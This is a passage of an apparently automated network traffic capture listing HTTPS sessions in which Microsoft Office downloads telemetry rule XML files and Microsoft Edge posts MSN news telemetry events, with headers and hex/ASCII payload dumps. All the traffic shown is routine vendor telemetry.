2024-11-20 17:57:58 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.6	49923	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:57 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 17:57:58 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:58 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 47e3bf54-c01e-0082-038c-3aaf72000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T175758Z-185f5d8b95cjbkr4hC1NYCeu240000000a90000000015a5e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 17:57:58 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.6	49924	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:58 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 17:57:58 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:58 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 733c6689-901e-007b-288c-3aac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T175758Z-185f5d8b95crl6swhC1NYC3ueg0000000as000000000c6z4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 17:57:58 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.6	49925	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:58 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 17:57:58 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:58 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: 85babd8c-f01e-003f-4e8c-3ad19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T175758Z-r1d97b99577gg97qhC1TEBcrf400000008yg00000000q812 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 17:57:58 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.6	49926	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:58 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 17:57:58 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:58 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: ff95cf15-b01e-0001-328c-3a46e2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T175758Z-r1d97b9957744xz5hC1TEB5bf800000008z000000000sfq5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 17:57:58 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.6	49927	13.69.116.107	443	504	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:58 UTC	1044	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732125476227&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 11581 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=28E93D09C21660CD09BC2834C3746145; _EDGE_S=F=1&SID=318808FB6BD96B0E0D161DC66A5C6A22; _EDGE_V=1; _C_ETH=1; msnup=
2024-11-20 17:57:58 UTC	11581	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 30 54 31 37 3a 35 37 3a 35 36 2e 32 32 30 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 32 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 30 34 34 37 63 32 30 38 2d 39 38 62 62 2d 34 30 63 66 2d 39 32 35 36 2d 62 30 39 36 65 33 32 39 37 36 32 33 22 2c 22 65 70 6f 63 68 22 3a 22 32 33 39 30 35 35 37 31 33 38 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-20T17:57:56.220Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":2,"installId":"0447c208-98bb-40cf-9256-b096e3297623","epoch":"2390557138"},"app":{"locale
2024-11-20 17:57:59 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=ee689a8bc85e460eabc730be80f8c324&HASH=ee68&LV=202411&V=4&LU=1732125478866; Domain=.microsoft.com; Expires=Thu, 20 Nov 2025 17:57:58 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=847c0718a4ba4ec2855e07207db02a5f; Domain=.microsoft.com; Expires=Wed, 20 Nov 2024 18:27:58 GMT; Path=/;Secure; SameSite=None time-delta-millis: 2639 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Wed, 20 Nov 2024 17:57:58 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.6	49928	13.69.116.107	443	504	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:58 UTC	1043	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732125476231&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 5047 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=28E93D09C21660CD09BC2834C3746145; _EDGE_S=F=1&SID=318808FB6BD96B0E0D161DC66A5C6A22; _EDGE_V=1; _C_ETH=1; msnup=
2024-11-20 17:57:58 UTC	5047	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 30 54 31 37 3a 35 37 3a 35 36 2e 32 33 30 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 33 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 30 34 34 37 63 32 30 38 2d 39 38 62 62 2d 34 30 63 66 2d 39 32 35 36 2d 62 30 39 36 65 33 32 39 37 36 32 33 22 2c 22 65 70 6f 63 68 22 3a 22 32 33 39 30 35 35 37 31 33 38 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-20T17:57:56.230Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":3,"installId":"0447c208-98bb-40cf-9256-b096e3297623","epoch":"2390557138"},"app":{"locale
2024-11-20 17:57:59 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=2f3c1e2862494b2e89d5f8b928bf8e2b&HASH=2f3c&LV=202411&V=4&LU=1732125478942; Domain=.microsoft.com; Expires=Thu, 20 Nov 2025 17:57:58 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=109ebde5542b4cbbaa828c32e59e0f08; Domain=.microsoft.com; Expires=Wed, 20 Nov 2024 18:27:58 GMT; Path=/;Secure; SameSite=None time-delta-millis: 2711 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Wed, 20 Nov 2024 17:57:58 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.6	49930	13.69.116.107	443	504	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:59 UTC	1033	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732125477146&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 5245 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=28E93D09C21660CD09BC2834C3746145; _EDGE_S=F=1&SID=318808FB6BD96B0E0D161DC66A5C6A22; _EDGE_V=1; msnup=
2024-11-20 17:57:59 UTC	5245	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 30 54 31 37 3a 35 37 3a 35 37 2e 31 34 33 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 34 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 30 34 34 37 63 32 30 38 2d 39 38 62 62 2d 34 30 63 66 2d 39 32 35 36 2d 62 30 39 36 65 33 32 39 37 36 32 33 22 2c 22 65 70 6f 63 68 22 3a 22 32 33 39 30 35 35 37 31 33 38 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-20T17:57:57.143Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":4,"installId":"0447c208-98bb-40cf-9256-b096e3297623","epoch":"2390557138"},"app":{"locale
2024-11-20 17:58:00 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=2683e5ba573e498089aa5da9f749a251&HASH=2683&LV=202411&V=4&LU=1732125479771; Domain=.microsoft.com; Expires=Thu, 20 Nov 2025 17:57:59 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=d30d8b6ad1d24153a347c4b971db011c; Domain=.microsoft.com; Expires=Wed, 20 Nov 2024 18:27:59 GMT; Path=/;Secure; SameSite=None time-delta-millis: 2625 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Wed, 20 Nov 2024 17:57:59 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.6	49931	13.69.116.107	443	504	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:58:00 UTC	1033	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732125477223&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 9595 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=28E93D09C21660CD09BC2834C3746145; _EDGE_S=F=1&SID=318808FB6BD96B0E0D161DC66A5C6A22; _EDGE_V=1; msnup=
2024-11-20 17:58:00 UTC	9595	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 30 54 31 37 3a 35 37 3a 35 37 2e 32 32 32 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 35 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 30 34 34 37 63 32 30 38 2d 39 38 62 62 2d 34 30 63 66 2d 39 32 35 36 2d 62 30 39 36 65 33 32 39 37 36 32 33 22 2c 22 65 70 6f 63 68 22 3a 22 32 33 39 30 35 35 37 31 33 38 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 Data Ascii: {"name":"MS.News.Web.ContentView","time":"2024-11-20T17:57:57.222Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":5,"installId":"0447c208-98bb-40cf-9256-b096e3297623","epoch":"2390557138"},"app":{"loc
2024-11-20 17:58:00 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=5dc982bba1bd47d9a3c00546e8fae14d&HASH=5dc9&LV=202411&V=4&LU=1732125480631; Domain=.microsoft.com; Expires=Thu, 20 Nov 2025 17:58:00 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=e5c28beb637f4d0b90cbad5ad3c087a1; Domain=.microsoft.com; Expires=Wed, 20 Nov 2024 18:28:00 GMT; Path=/;Secure; SameSite=None time-delta-millis: 3408 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Wed, 20 Nov 2024 17:57:59 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.6	49933	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:58:00 UTC	191	OUT	GET /rules/rule90401v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 17:58:00 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:58:00 GMT Content-Type: text/xml Content-Length: 1250 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE4487AA" x-ms-request-id: c5daffda-c01e-0046-24f2-3a2db9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T175800Z-r1d97b99577656nchC1TEBk98c000000094g00000000t6m4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
